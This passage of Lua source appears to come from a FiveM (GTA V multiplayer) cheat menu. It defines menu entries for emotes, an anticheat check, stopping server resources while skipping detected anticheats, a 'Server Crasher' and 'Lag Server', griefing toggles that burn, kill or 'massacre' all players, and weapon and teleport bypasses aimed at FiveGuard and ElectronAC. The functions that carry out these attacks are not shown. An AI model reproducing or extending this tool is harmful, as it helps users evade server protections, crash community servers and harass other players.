"anim@mp_player_intupperwank", "idle_a", "Wank upper", true) wank2Option.emoteFlag = 51 local wank3Option = emoteAnimation("Wank 3", "mp_player_int_upperwank", "mp_player_int_wank_02", "Wank", true) wank3Option.emoteFlag = 51 local wank4Option = emoteAnimation("Wank 4", "mp_player_int_upperwank", "mp_player_int_wank_02_fp", "Wank FP", true) wank4Option.emoteFlag = 51 local wank5Option = emoteAnimation("Wank 5", "mp_player_intwank", "mp_player_int_wank", "Wank", false) local jerkOffOption = emoteAnimation("Jerk Off", "switch@trevor@jerking_off", "trev_jerking_off_loop", "Jerk off loop", true) jerkOffOption.emoteFlag = 51 pendingMenuEntry52 = { name = "Jerk Off (Dildo)", type = "button", func = "emoteMenuPlayWithProp", emoteDict = "switch@trevor@jerking_off", emoteClip = "trev_jerking_off_loop", emotePropModel = "prop_cs_dildo_01", emoteBone = 28422 } pendingMenuEntry54 = {} pendingMenuEntry60 = 30.0 pendingMenuEntry54[1] = 0.09 pendingMenuEntry54[2] = 0.05 pendingMenuEntry54[3] = -0.03 pendingMenuEntry54[4] = 90.0 pendingMenuEntry54[5] = 80.0 pendingMenuEntry54[6] = pendingMenuEntry60 pendingMenuEntry52.emotePlacement = pendingMenuEntry54 pendingMenuEntry52.emotePropLoop = true pendingMenuEntry52.description = "With prop" pendingMenuEntry45[1] = wankOption pendingMenuEntry45[2] = wank2Option pendingMenuEntry45[3] = wank3Option pendingMenuEntry45[4] = wank4Option pendingMenuEntry45[5] = wank5Option pendingMenuEntry45[6] = jerkOffOption pendingMenuEntry45[7] = pendingMenuEntry52 pendingMenuEntry43.submenu = pendingMenuEntry45 pendingMenuEntry43.description = "Wank emotes" pendingMenuEntry44 = { name = "Poses / Misc", type = "submenu" } pendingMenuEntry46 = {} pendingMenuEntry47 = { name = "Prostitute (High)", type = "button", func = "emoteMenuPlayScenario", emoteScenario = "WORLD_HUMAN_PROSTITUTE_HIGH_CLASS", description = "Scenario" } pendingMenuEntry48 = { name = "Prostitute (Low)", type = "button", func = "emoteMenuPlayScenario", emoteScenario = "WORLD_HUMAN_PROSTITUTE_LOW_CLASS", description = "Scenario" } end do local leanFlirtOption = emoteAnimation("Lean Flirt", "random@street_race", "_car_a_flirt_girl", "Lean flirt", true) local blowKissOption = emoteAnimation( "Blow Kiss", "anim@mp_player_intcelebrationfemale@blow_kiss", "blow_kiss", "Blow kiss", false ) local scratchBallsOption = emoteAnimation("Scratch Balls", "move_p_m_two_idles@generic", "fidget_scratch_balls", "Scratch", false) scratchBallsOption.emoteDuration = 4000 local peeOption = emoteAnimation("Pee", "misscarsteal2peeing", "peeing_loop", "Pee loop", true) pendingMenuEntry53 = emoteAnimation("Shower (F)", "mp_safehouseshower@female@", "shower_idle_a", "Shower female", true) pendingMenuEntry54 = emoteAnimation("Shower (M)", "mp_safehouseshower@male@", "male_shower_idle_a", "Shower male", true) local sunbatheOption = emoteAnimation("Sunbathe", "amb@world_human_sunbathe@male@back@base", "base", "Sunbathe", true) local cloudGazeOption = emoteAnimation( "Cloud Gaze", "switch@trevor@annoys_sunbathers", "trev_annoys_sunbathers_loop_girl", "Cloud gaze", true ) local yogaOption = { name = "Yoga", type = "button", func = "emoteMenuPlayScenario", emoteScenario = "WORLD_HUMAN_YOGA", description = "Yoga scenario" } pendingMenuEntry46[1] = pendingMenuEntry47 pendingMenuEntry46[2] = pendingMenuEntry48 pendingMenuEntry46[3] = leanFlirtOption pendingMenuEntry46[4] = blowKissOption pendingMenuEntry46[5] = scratchBallsOption pendingMenuEntry46[6] = peeOption pendingMenuEntry46[7] = pendingMenuEntry53 pendingMenuEntry46[8] = pendingMenuEntry54 pendingMenuEntry46[9] = sunbatheOption pendingMenuEntry46[10] = cloudGazeOption pendingMenuEntry46[11] = yogaOption pendingMenuEntry44.submenu = pendingMenuEntry46 pendingMenuEntry44.description = "Poses, scenarios and misc emotes" pendingMenuEntry45 = { name = "Prop Emotes", type = "submenu" } pendingMenuEntry47 = {} pendingMenuEntry48 = { name = "Smoke", type = "button", func = "emoteMenuPlayWithProp", emoteDict = "amb@world_human_smoking@male@male_a@enter", emoteClip = "enter", emotePropModel = "prop_cs_ciggy_01", emoteBone = 64017 } pendingMenuEntry50 = { 0.015, 0.01, 0.0, 50.0, 0.0, 0.0 } pendingMenuEntry48.emotePlacement = pendingMenuEntry50 pendingMenuEntry48.emotePropLoop = true pendingMenuEntry48.description = "Smoke cigarette" local drinkBeerOption = { name = "Drink Beer", type = "button", func = "emoteMenuPlayWithProp", emoteDict = "anim@heists@humane_labs@finale@strip_club", emoteClip = "ped_b_celebrate_loop", emotePropModel = "prop_amb_beer_bottle", emoteBone = 18905 } pendingMenuEntry51 = { 0.12, 0.028, 0.001, 10.0, 170.0, 0.0 } drinkBeerOption.emotePlacement = pendingMenuEntry51 drinkBeerOption.emotePropLoop = true drinkBeerOption.description = "Beer bottle" local selfieOption = { name = "Selfie", type = "button", func = "emoteMenuPlayWithProp", emoteDict = "cellphone@self@", emoteClip = "selfie", emotePropModel = "prop_phone_ing", emoteBone = 28422 } pendingMenuEntry52 = { 0.0, 0.0, 0.0, 0.0, 0.0, 0.0 } selfieOption.emotePlacement = pendingMenuEntry52 selfieOption.emotePropLoop = true selfieOption.description = "Selfie phone" pendingMenuEntry47[1] = pendingMenuEntry48 pendingMenuEntry47[2] = drinkBeerOption pendingMenuEntry47[3] = selfieOption pendingMenuEntry45.submenu = pendingMenuEntry47 pendingMenuEntry45.description = "Emotes with attached props" pendingMenuEntry37[1] = pendingMenuEntry38 pendingMenuEntry37[2] = pendingMenuEntry39 pendingMenuEntry37[3] = pendingMenuEntry40 pendingMenuEntry37[4] = pendingMenuEntry41 pendingMenuEntry37[5] = pendingMenuEntry42 pendingMenuEntry37[6] = pendingMenuEntry43 pendingMenuEntry37[7] = pendingMenuEntry44 pendingMenuEntry37[8] = pendingMenuEntry45 pendingMenuEntry35.submenu = pendingMenuEntry37 pendingMenuEntry35.description = "Ham.Execute emotes. Reset: key clears inject (not during Blame)" pendingMenuEntry36 = { name = "Freeze Resource", type = "submenu" } pendingMenuEntry38 = function() local options = { { name = "Filter", type = "selector", var = "resourceStopFilterSelector", choices = function() return menu.vars.freezableResourceFilters end, func = "resourceStopHandleFilter", onChangeFunc = "resourceStopUpdateFilter", description = "Filter resources by type" }, { name = "Bulk Action", type = "selector", var = "resourceBulkActionSelector", choices = { "Stop All", "Start All" }, func = "resourceBulkActionExecute", description = "Select an action to run" } } local resources if menu.utils and menu.utils.getFreezableResourceList then resources = menu.utils.getFreezableResourceList() end resources = resources or menu.vars.freezableResources or {} local filters = menu.vars.freezableResourceFilters or {} local selectedFilter = menu.vars.selectors and menu.vars.selectors.resourceStopFilterSelector or 1 local filterName = filters[selectedFilter] and tostring(filters[selectedFilter]) or "Custom" local filterText = string.lower(filterName) local customQuery = string.lower(tostring(menu.vars.resourceStopCustomFilterQuery or "")) local filteredResources = {} local function antiCheatSet() local result = {} local antiCheats = menu.vars.antiCheats or {} local iterator, state, initial = ipairs(antiCheats) for _, name in iterator, state, initial do if type(name) == "string" and name ~= "" then result[name] = true end end local pairIterator, pairState, pairInitial = pairs(antiCheats) for name, enabled in pairIterator, pairState, pairInitial do if enabled == true and type(name) == "string" and name ~= "" then result[name] = true end end return result end if filterText == "anticheats" then local uniqueNames = antiCheatSet() local iterator, state, initial = pairs(uniqueNames) for name, _ in iterator, state, initial do table.insert(filteredResources, name) end elseif filterText == "custom" then local iterator, state, initial = ipairs(resources) for _, resourceName in iterator, state, initial do if customQuery == "" or string.find(string.lower(resourceName), customQuery, 1, true) then table.insert(filteredResources, resourceName) end end else local iterator, state, initial = ipairs(resources) for _, resourceName in iterator, state, initial do if string.find(string.lower(resourceName), filterText, 1, true) then table.insert(filteredResources, resourceName) end end end table.sort(filteredResources) local antiCheats = antiCheatSet() local freezableResources = {} local protectedResources = {} local iterator, state, initial = ipairs(filteredResources) for _, resourceName in iterator, state, initial do if antiCheats[tostring(resourceName)] then table.insert(protectedResources, resourceName) else table.insert(freezableResources, resourceName) end end table.sort(protectedResources) menu.vars.freezableResources = filteredResources table.insert(options, { name = "Resource", type = "seperator" }) if #filteredResources == 0 then return options end menu.vars.frozenResources = menu.vars.frozenResources or {} local resourceIterator, resourceState, resourceInitial = ipairs(freezableResources) for _, resource in resourceIterator, resourceState, resourceInitial do local resourceName = tostring(resource) local selectorName = "resFreeze_" .. resourceName:gsub("[^%w_]", "_") local functionName = "resourceFreeze_" .. resourceName:gsub("[^%w_]", "_") local frozen = menu.vars.frozenResources[resourceName] menu.vars.selectors = menu.vars.selectors or {} menu.vars.selectors[selectorName] = frozen and 2 or 1 menu.functions = menu.functions or {} local menuFunctions = menu.functions local function freezeResource(action) if action == "Stop" then menu.utils.safeCallByName("stopResource", resourceName) menu.vars.frozenResources[resourceName] = true else menu.utils.safeCallByName("resumeResource", resourceName) menu.vars.frozenResources[resourceName] = nil end if menu.logic and menu.logic.refreshSubmenuByTitle then menu.logic.refreshSubmenuByTitle("Freeze Resource") end end menuFunctions[functionName] = freezeResource table.insert( options, { name = resourceName, type = "selector", var = selectorName, choices = { "Stop", "Start" }, default = frozen and 2 or 1, func = functionName, description = "Select Stop or Start" } ) end local protectedIterator, protectedState, protectedInitial = ipairs(protectedResources) for _, resource in protectedIterator, protectedState, protectedInitial do local resourceName = tostring(resource) table.insert( options, { name = resourceName, type = "button", func = "stopResourceButton", resourceName = resourceName, description = "Anticheat (not freezable)" } ) end return options end pendingMenuEntry36.submenu = pendingMenuEntry38 pendingMenuEntry37 = { name = "Vanity Settings", type = "submenu" } pendingMenuEntry39 = function() local options = { { name = "Show Vanity User List", type = "toggle", var = "vanityUsersList", default = false, func = "toggleVanityUsersList", description = "Toggle the draggable Vanity Users overlay on your screen" }, { name = "Show me in servers", type = "toggle", var = "showMeOnServers", default = false, func = "toggleVanityUsersList", description = "Let other Vanity users see your Ham username in the Vanity User List" }, { name = "Infos", type = "seperator" }, { name = "Share Location", type = "toggle", var = "showMyLocation", default = false, func = "syncVanityPrivacySettings", description = "Let other Vanity users see your distance and height on the server list" }, { name = "ESP Visibility", type = "toggle", var = "showMeInVanityEsp", default = false, func = "syncVanityPrivacySettings", description = "Let other Vanity users see the VANITY tag on you in ESP" }, { name = "Online List Visibility", type = "toggle", var = "showMeInOnlineOptions", default = false, func = "syncVanityPrivacySettings", description = "Let other Vanity users see the [VANITY] tag on you in Online Options" }, { name = "Friends", type = "seperator" }, { name = "Add Friend", type = "button", func = "addVanityFriend", description = "Enter a Ham username to permanently add them as a friend on every server" } } if menu.functions and menu.functions.getVanityFriendsMenuOptions then local friendOptions = menu.functions.getVanityFriendsMenuOptions() for index = 1, #friendOptions, 1 do options[#options + 1] = friendOptions[index] end end return options end pendingMenuEntry37.submenu = pendingMenuEntry39 pendingMenuEntry38 = { name = "Check Anticheats", type = "button", func = "checkAnticheats", description = "Check which anticheats are present on the server" } pendingMenuEntry39 = { name = "Admin", type = "submenu" } pendingMenuEntry41 = {} pendingMenuEntry42 = { name = "Online List", options = {} } pendingMenuEntry43 = { name = "Options", options = {} } pendingMenuEntry44 = { name = "Advanced", options = {} } pendingMenuEntry45 = { name = "Dev" } pendingMenuEntry47 = function() local restricted = menu.vars.restrictedAdminUsers and menu.vars.restrictedAdminUsers[Ham.getName()] if restricted then return restricted.tabs and restricted.tabs.Dev end return true end pendingMenuEntry45.condition = pendingMenuEntry47 pendingMenuEntry47 = {} pendingMenuEntry48 = { name = "Delete All Vehicles", type = "button", func = "adminDeleteAllVehicles500", description = "Leave your vehicle if needed, then delete every vehicle within 500m" } pendingMenuEntry49 = { name = "Delete All Objects", type = "button", func = "adminDeleteAllObjects500", description = "Delete all objects/props within 500m" } pendingMenuEntry50 = { name = "Delete All Peds", type = "button", func = "adminDeleteAllPeds500", description = "Delete all peds within 500m except your own player" } local zmodzEscapeOption = { name = "zmodz escape", type = "button", func = "zmodzEscapeVehicleSpoof", description = "Disable vehicle spoof" } pendingMenuEntry53 = function() return menu.vars.zmodzEscapeUsers[Ham.getName()] == true end zmodzEscapeOption.condition = pendingMenuEntry53 local serverCrasherOption = { name = "Server Crasher", type = "button", func = "esxSkinServerCrasher", description = "Server Crasher" } pendingMenuEntry54 = function() return menu.vars.esxSkinCrasherUsers[Ham.getName()] == true end serverCrasherOption.condition = pendingMenuEntry54 local outfitsOption = { name = "Outfits", type = "seperator" } pendingMenuEntry54 = { name = "Get Skin", type = "selector", var = "getSkinTarget" } local choiceList = {} pendingMenuEntry59 = "All Players" choiceList[1] = "Me" choiceList[2] = "Nearest Player" choiceList[3] = pendingMenuEntry59 pendingMenuEntry54.choices = choiceList pendingMenuEntry54.func = "getSkinByTarget" pendingMenuEntry54.description = "Print skin data of yourself, nearest player, or all players" pendingMenuEntry55 = { name = "Clear List", type = "button", func = "clearSkinList", description = "Remove all scanned player skin buttons from the list" } pendingMenuEntry56 = { name = "Players" } pendingMenuEntry57 = "type" pendingMenuEntry58 = "seperator" pendingMenuEntry56[pendingMenuEntry57] = pendingMenuEntry58 pendingMenuEntry47[1] = pendingMenuEntry48 pendingMenuEntry47[2] = pendingMenuEntry49 pendingMenuEntry47[3] = pendingMenuEntry50 pendingMenuEntry47[4] = zmodzEscapeOption pendingMenuEntry47[5] = serverCrasherOption pendingMenuEntry47[6] = outfitsOption pendingMenuEntry47[7] = pendingMenuEntry54 pendingMenuEntry47[8] = pendingMenuEntry55 pendingMenuEntry47[9] = pendingMenuEntry56 pendingMenuEntry45.options = pendingMenuEntry47 pendingMenuEntry41[1] = pendingMenuEntry42 pendingMenuEntry41[2] = pendingMenuEntry43 pendingMenuEntry41[3] = pendingMenuEntry44 pendingMenuEntry41[4] = pendingMenuEntry45 pendingMenuEntry39.tabs = pendingMenuEntry41 pendingMenuEntry41 = function() return menu.vars.adminUsers[Ham.getName()] == true end pendingMenuEntry39.condition = pendingMenuEntry41 pendingMenuEntry31[1] = pendingMenuEntry32 pendingMenuEntry31[2] = pendingMenuEntry33 pendingMenuEntry31[3] = pendingMenuEntry34 pendingMenuEntry31[4] = pendingMenuEntry35 pendingMenuEntry31[5] = pendingMenuEntry36 pendingMenuEntry31[6] = pendingMenuEntry37 pendingMenuEntry31[7] = pendingMenuEntry38 pendingMenuEntry31[8] = pendingMenuEntry39 pendingMenuEntry29.options = pendingMenuEntry31 pendingMenuEntry30 = { name = "Freecam" } pendingMenuEntry32 = {} pendingMenuEntry33 = { name = "Enable Freecam", type = "toggle", var = "freecam", func = "toggleFreecam", keybindName = "Toggle Freecam", description = "Enable free camera mode. Adjust speed in the menu speed bar", sliderVar = "freecamSpeedLevel", sliderMin = 1, sliderMax = 60, sliderStep = 1, sliderDefault = 1, sliderOnChangeFunc = "applyFreecamSpeed", disableHoldAcceleration = true } pendingMenuEntry34 = { name = "Freecam", type = "seperator" } pendingMenuEntry35 = { name = "Block Menu Movement", type = "toggle", var = "freecamBlockQEMovement", default = true, description = "When Adjust Keys is set to Q/E, block GTA controls on Q/E while the Freecam menu is open (also blocks AZERTY walk-left)" } pendingMenuEntry37 = function() return menu.vars and menu.vars.selectors and menu.vars.selectors.freecamAdjustKeys == 1 end pendingMenuEntry35.condition = pendingMenuEntry37 pendingMenuEntry36 = { name = "Spawn Custom", type = "submenu" } pendingMenuEntry38 = function() if menu.utils and menu.utils.getCustomTabs then return menu.utils.getCustomTabs() end return { { name = "Objects", options = {} }, { name = "Vehicles", options = {} }, { name = "Peds", options = {} } } end pendingMenuEntry36.tabs = pendingMenuEntry38 pendingMenuEntry37 = { name = "Exclude Options", type = "submenu" } pendingMenuEntry39 = function() if menu.utils and menu.utils.generateFreecamOptionsSubmenu then return menu.utils.generateFreecamOptionsSubmenu() end return {} end pendingMenuEntry37.submenu = pendingMenuEntry39 pendingMenuEntry38 = { name = "Settings", type = "submenu" } pendingMenuEntry40 = {} pendingMenuEntry41 = { name = "Freecam Adjust Keys", type = "selector", var = "freecamAdjustKeys", choices = { "Q / E", "Arrow Keys" }, default = 2, description = "Which keys adjust Freecam options (e.g. speed) inside the Freecam menu" } pendingMenuEntry42 = { name = "Teleport Hotkey", type = "hotkey" } pendingMenuEntry42.target = { identifier = "FREECAM_CROSSHAIR_TP", type = "button", func = "freecamCrosshairTeleportHotkey", name = "Teleport Hotkey", keybindName = "Freecam Teleport Hotkey" } pendingMenuEntry42.description = "While in freecam with the menu closed, teleport to where your crosshair points" pendingMenuEntry43 = { name = "Visible Options", type = "selector", var = "freecamVisibleOptions" } pendingMenuEntry45 = {} pendingMenuEntry51 = 6 pendingMenuEntry52 = 7 pendingMenuEntry53 = 8 pendingMenuEntry45[1] = 1 pendingMenuEntry45[2] = 2 pendingMenuEntry45[3] = 3 pendingMenuEntry45[4] = 4 pendingMenuEntry45[5] = 5 pendingMenuEntry45[6] = pendingMenuEntry51 pendingMenuEntry45[7] = pendingMenuEntry52 pendingMenuEntry45[8] = pendingMenuEntry53 pendingMenuEntry43.choices = pendingMenuEntry45 pendingMenuEntry43.default = 5 pendingMenuEntry43.description = "How many options are visible at once in the Freecam menu" local showEntitySpawnPreviewOption = { name = "Show Entity Spawn Preview", type = "toggle", var = "showEntitySpawnPreview", default = true, description = "Show ghost previews for spawns in Freecam and Online Options" } pendingMenuEntry40[1] = pendingMenuEntry41 pendingMenuEntry40[2] = pendingMenuEntry42 pendingMenuEntry40[3] = pendingMenuEntry43 pendingMenuEntry40[4] = showEntitySpawnPreviewOption pendingMenuEntry38.submenu = pendingMenuEntry40 pendingMenuEntry32[1] = pendingMenuEntry33 pendingMenuEntry32[2] = pendingMenuEntry34 pendingMenuEntry32[3] = pendingMenuEntry35 pendingMenuEntry32[4] = pendingMenuEntry36 pendingMenuEntry32[5] = pendingMenuEntry37 pendingMenuEntry32[6] = pendingMenuEntry38 pendingMenuEntry30.options = pendingMenuEntry32 pendingMenuEntry31 = { name = "Destroyer" } pendingMenuEntry33 = {} pendingMenuEntry34 = { name = "Burn Everyone", type = "selectorToggle", var = "destroyerBurnEveryoneRadius", choices = { "20m", "50m", "100m", "200m", "500m" }, default = 2, toggleVar = "destroyerBurnEveryone", toggleFunc = "destroyerFirePlayers", description = "Sets everyone on fire" } pendingMenuEntry35 = { name = "Ragdoll All", type = "selectorToggle", var = "destroyerRagdollMode", choices = { "Permanent", "Interval" }, default = 1, toggleVar = "destroyerRagdollEveryone", toggleFunc = "destroyerRagdollEveryone", description = "Ragdoll all players" } pendingMenuEntry36 = { name = "Launch Everyone", type = "toggle", var = "destroyerLaunchEveryone", func = "destroyerLaunchEveryone", description = "Launch all players one by one until disabled" } pendingMenuEntry37 = { name = "Punch Everyone", type = "selectorToggle", var = "destroyerPunchEveryoneRadius", choices = { "20m", "50m", "100m", "200m", "500m" }, default = 2, toggleVar = "destroyerPunchEveryone", toggleFunc = "destroyerPunchEveryone", description = "Punches everyone continuously" } pendingMenuEntry38 = { name = "Slap Everyone", type = "selectorToggle", var = "destroyerSlapEveryoneRadius", choices = { "20m", "50m", "100m", "200m", "500m" }, default = 2, toggleVar = "destroyerSlapEveryone", toggleFunc = "destroyerSlapEveryone", description = "Slaps everyone until disabled" } pendingMenuEntry39 = { name = "Explode", type = "selectorToggle", var = "destroyerExplodeMode" } pendingMenuEntry41 = function() return menu.functions.getDestroyerExplodeModeChoices() end pendingMenuEntry39.choices = pendingMenuEntry41 pendingMenuEntry39.default = 1 pendingMenuEntry39.toggleVar = "destroyerExplodeEnabled" pendingMenuEntry39.toggleFunc = "destroyerExplodeToggle" pendingMenuEntry39.description = "Explode world or all vehicles while enabled" pendingMenuEntry40 = { name = "Exterminate", type = "toggle", var = "destroyerKillWorld", func = "destroyerKillWorld" } pendingMenuEntry41 = { name = "Kill All", type = "toggle", var = "killAllPlayers", func = "killAllPlayers", description = "Continuously attacks all players until disabled" } pendingMenuEntry42 = { name = "Other", type = "seperator" } pendingMenuEntry43 = { name = "Taze All", type = "toggle", var = "destroyerTazeAll", func = "destroyerTazeAllPlayers", description = "Tazes all players" } pendingMenuEntry44 = { name = "Infinite Voice Range", type = "toggle", var = "infiniteVoiceRange", description = "Make your voice range infinite" } pendingMenuEntry46 = function() return not Ham.hasResource("saltychat") and not Ham.hasResource("WaveShield") end pendingMenuEntry44.condition = pendingMenuEntry46 pendingMenuEntry45 = { name = "Massacre All", type = "button", func = "massacreAllPlayers" } pendingMenuEntry47 = function() return not menu.vars.antiCheats.FiveGuard end pendingMenuEntry45.condition = pendingMenuEntry47 pendingMenuEntry45.description = "Massacre all players with multiple attacks" pendingMenuEntry46 = { name = "Lag Server", type = "button", func = "lagServer" } pendingMenuEntry48 = function() return not menu.vars.antiCheats.WaveShield end pendingMenuEntry46.condition = pendingMenuEntry48 pendingMenuEntry46.description = "Lag the server" pendingMenuEntry33[1] = pendingMenuEntry34 pendingMenuEntry33[2] = pendingMenuEntry35 pendingMenuEntry33[3] = pendingMenuEntry36 pendingMenuEntry33[4] = pendingMenuEntry37 pendingMenuEntry33[5] = pendingMenuEntry38 pendingMenuEntry33[6] = pendingMenuEntry39 pendingMenuEntry33[7] = pendingMenuEntry40 pendingMenuEntry33[8] = pendingMenuEntry41 pendingMenuEntry33[9] = pendingMenuEntry42 pendingMenuEntry33[10] = pendingMenuEntry43 pendingMenuEntry33[11] = pendingMenuEntry44 pendingMenuEntry33[12] = pendingMenuEntry45 pendingMenuEntry33[13] = pendingMenuEntry46 pendingMenuEntry31.options = pendingMenuEntry33 local rCEntry = { name = "RC" } pendingMenuEntry34 = {} local spawnVehicleOption = { name = "Spawn Vehicle", type = "selector", var = "rcCarVehicleMode", choices = { "Nearby", "Custom" }, func = "onRCCarVehicleModeEnter", selectorAdjustCooldownMs = 180, description = "Spawn a vehicle and drive it remotely from a distance with a follow camera, like a real RC car" } local settingsOption = { name = "Settings", type = "seperator" } local controlSpeedOption = { name = "Control Speed", type = "numberSlider", var = "rcCarSpeed", min = 1.0, max = 25.0, step = 0.5, disableHoldAcceleration = true, default = 3.0, suffix = "x", onChangeFunc = "applyRCCarSpeed", description = "Top speed and acceleration multiplier for the RC car" } local flipRCCarOption = { name = "Flip RC Car", type = "button", func = "flipRCCar", description = "Set the RC car upright if flipped" } pendingMenuEntry39 = { name = "Repair RC Car", type = "button", func = "repairRCCar", description = "Full repair of the RC car" } pendingMenuEntry40 = { name = "Destroy RC Car", type = "button", func = "destroyRCCar", description = "Destroy the spawned RC car" } pendingMenuEntry34[1] = spawnVehicleOption pendingMenuEntry34[2] = settingsOption pendingMenuEntry34[3] = controlSpeedOption pendingMenuEntry34[4] = flipRCCarOption pendingMenuEntry34[5] = pendingMenuEntry39 pendingMenuEntry34[6] = pendingMenuEntry40 rCEntry.options = pendingMenuEntry34 pendingMenuEntry28[1] = pendingMenuEntry29 pendingMenuEntry28[2] = pendingMenuEntry30 pendingMenuEntry28[3] = pendingMenuEntry31 pendingMenuEntry28[4] = rCEntry pendingMenuEntry26.tabs = pendingMenuEntry28 local searchOption = { name = "Search", type = "button", func = "openMenuSearch", rightText = "\239\128\130", rightTextFont = "notifyIcons", rightTextFontSize = 11 } pendingMenuEntry29 = { 255, 255, 255, 255 } searchOption.rightTextColor = pendingMenuEntry29 searchOption.rightTextKeepColor = true searchOption.hideDescriptionBar = true pendingMenuEntry29 = function() return menu.vars.bools.hideSearchButton ~= true end searchOption.condition = pendingMenuEntry29 pendingMenuEntry18[1] = pendingMenuEntry19 pendingMenuEntry18[2] = pendingMenuEntry20 pendingMenuEntry18[3] = pendingMenuEntry21 pendingMenuEntry18[4] = pendingMenuEntry22 pendingMenuEntry18[5] = pendingMenuEntry23 pendingMenuEntry18[6] = pendingMenuEntry24 pendingMenuEntry18[7] = pendingMenuEntry25 pendingMenuEntry18[8] = pendingMenuEntry26 pendingMenuEntry18[9] = searchOption pendingMenuEntry16.options = pendingMenuEntry18 pendingMenuEntry17 = { name = "Bypasses" } pendingMenuEntry19 = {} pendingMenuEntry20 = { name = "Anti Block Control", type = "toggle", func = "toggleAntiBlockControl", var = "antiBlockControl", description = "Bypasses control blocking mechanisms" } pendingMenuEntry21 = { name = "Anti Teleport", type = "toggle", func = "toggleAntiTeleport", var = "antiTeleport", description = "Bypass anti-teleport protections" } pendingMenuEntry22 = { name = "Anti Freeze", type = "toggle", func = "toggleAntiFreeze", var = "antiFreeze", description = "Automatically unfreezes your ped whenever it gets frozen" } pendingMenuEntry23 = { name = "Anti Carry", type = "toggle", func = "toggleAntiCarry", var = "antiCarry", description = "Prevents other players from attaching/carrying your ped" } pendingMenuEntry24 = { name = "Weapon Bypass", type = "seperator" } pendingMenuEntry25 = { name = "Main Bypass", type = "toggle", var = "weaponBypassRecommended", func = "toggleWeaponBypassRecommended", description = "Bypass for weapon spawning and shooting. Recommended to use on most servers" } pendingMenuEntry26 = { name = "FiveGuard Bypass", type = "toggle", var = "weaponBypass", func = "toggleWeaponBypass", description = "Weapon bypass for FiveGuard servers" } pendingMenuEntry27 = { name = "ElectronAC Bypass", type = "toggle", var = "electronAcWeaponBypass", func = "toggleElectronAcWeaponBypass", description = "Weapon bypass for ElectronAC servers" } pendingMenuEntry28 = { name = "Advanced", type = "seperator" } pendingMenuEntry29 = { name = "Anti Attach", type = "toggle", func = "toggleAntiAttach", var = "antiAttach", description = "Blocks ped/vehicle/object attachment attempts on your ped" } pendingMenuEntry30 = { name = "Anti Player Damage", type = "toggle", func = "toggleAntiAttack", var = "antiAttack", description = "Prevents you from taking or dealing player damage" } pendingMenuEntry31 = { name = "Anti VDM", type = "toggle", func = "toggleAntiVdm", var = "antiVdm", description = "Disables collision between your ped and nearby vehicles" } end pendingMenuEntry32 = { name = "Anti Weapon Block", type = "toggle", func = "toggleAntiWeaponBlock", var = "antiWeaponBlock", description = "Bypass anti weapon block" } do local antiFirstPersonOption = { name = "Anti First Person", type = "toggle", var = "antiFirstPerson", description = "Prevents forced first person when shooting" } local otherOption = { name = "Other", type = "seperator" } local antiPedCrasherOption = { name = "Anti Ped Crasher", type = "toggle", var = "deleteNearbyPedsBypass", description = "Protects against ped crashers on the server" } local alternativeVehicleSpawnOption = { name = "Alternative Vehicle Spawn", type = "toggle", var = "safeVehicleSpawn", func = "toggleSafeVehicleSpawn", description = "ONLY USE WHEN NORMAL SPAWNING DOESN'T WORK" } local fixWeaponCheckOption = { name = "Fix Weapon Check", type = "button", func = "fixWeaponCheck", description = "Disables Ham weapon bypass" } pendingMenuEntry19[1] = pendingMenuEntry20 pendingMenuEntry19[2] = pendingMenuEntry21 pendingMenuEntry19[3] = pendingMenuEntry22 pendingMenuEntry19[4] = pendingMenuEntry23 pendingMenuEntry19[5] = pendingMenuEntry24 pendingMenuEntry19[6] = pendingMenuEntry25 pendingMenuEntry19[7] = pendingMenuEntry26 pendingMenuEntry19[8] = pendingMenuEntry27 pendingMenuEntry19[9] = pendingMenuEntry28 pendingMenuEntry19[10] = pendingMenuEntry29 pendingMenuEntry19[11] = pendingMenuEntry30 pendingMenuEntry19[12] = pendingMenuEntry31 pendingMenuEntry19[13] = pendingMenuEntry32 pendingMenuEntry19[14] = antiFirstPersonOption pendingMenuEntry19[15] = otherOption pendingMenuEntry19[16] = antiPedCrasherOption pendingMenuEntry19[17] = alternativeVehicleSpawnOption pendingMenuEntry19[18] = fixWeaponCheckOption pendingMenuEntry17.options = pendingMenuEntry19 pendingMenuEntry18 = { name = "Settings" } pendingMenuEntry20 = {} pendingMenuEntry21 = {} pendingMenuEntry21.name = "Menu Settings" pendingMenuEntry21.type = "submenu" pendingMenuEntry23 = {} pendingMenuEntry24 = {} pendingMenuEntry24.name = "Menu" pendingMenuEntry26 = {} pendingMenuEntry27 = {} pendingMenuEntry27.name = "Menu Hotkey" pendingMenuEntry27.type = "hotkey" pendingMenuEntry28 = {} pendingMenuEntry28.identifier = "MENU_TOGGLE" pendingMenuEntry27.target = pendingMenuEntry28 pendingMenuEntry27.description = "Set the key to toggle the menu" pendingMenuEntry28 = {} pendingMenuEntry28.name = "Menu Tab Left" pendingMenuEntry28.type = "button" pendingMenuEntry28.func = "promptTabScrollLeftKey" do local function rightText() local defaultKey = menu.functions.defaultTabScrollLeftKey if defaultKey then defaultKey = menu.functions.defaultTabScrollLeftKey() end if not defaultKey then defaultKey = "Q" end return "- " .. (menu.vars.tabScrollLeftKey or defaultKey) .. " -" end pendingMenuEntry30 = rightText end pendingMenuEntry28.rightText = pendingMenuEntry30 pendingMenuEntry30 = { 255, 255, 255, 255 } pendingMenuEntry28.rightTextColor = pendingMenuEntry30 pendingMenuEntry28.description = "Key used to scroll tabs left. Press to type a new key" pendingMenuEntry29 = {} pendingMenuEntry29.name = "Menu Tab Right" pendingMenuEntry29.type = "button" pendingMenuEntry29.func = "promptTabScrollRightKey" do local function rightText() return "- " .. (menu.vars.tabScrollRightKey or "E") .. " -" end pendingMenuEntry31 = rightText end pendingMenuEntry29.rightText = pendingMenuEntry31 pendingMenuEntry31 = { 255, 255, 255, 255 } pendingMenuEntry29.rightTextColor = pendingMenuEntry31 pendingMenuEntry29.description = "Key used to scroll tabs right. Press to type a new key" pendingMenuEntry30 = {} pendingMenuEntry30.name = "Menu Keybind" pendingMenuEntry30.type = "button" pendingMenuEntry30.func = "promptMenuOptionBindKey" do local function rightText() return "- " .. (menu.vars.menuOptionBindKey or "F11") .. " -" end pendingMenuEntry32 = rightText end pendingMenuEntry30.rightText = pendingMenuEntry32 pendingMenuEntry32 = { 255, 255, 255, 255 } pendingMenuEntry30.rightTextColor = pendingMenuEntry32 pendingMenuEntry30.description = "Key used to bind a hotkey to the selected option" pendingMenuEntry31 = {} pendingMenuEntry31.name = "Action" pendingMenuEntry31.type = "separator" pendingMenuEntry32 = {} pendingMenuEntry32.name = "Panic Button" 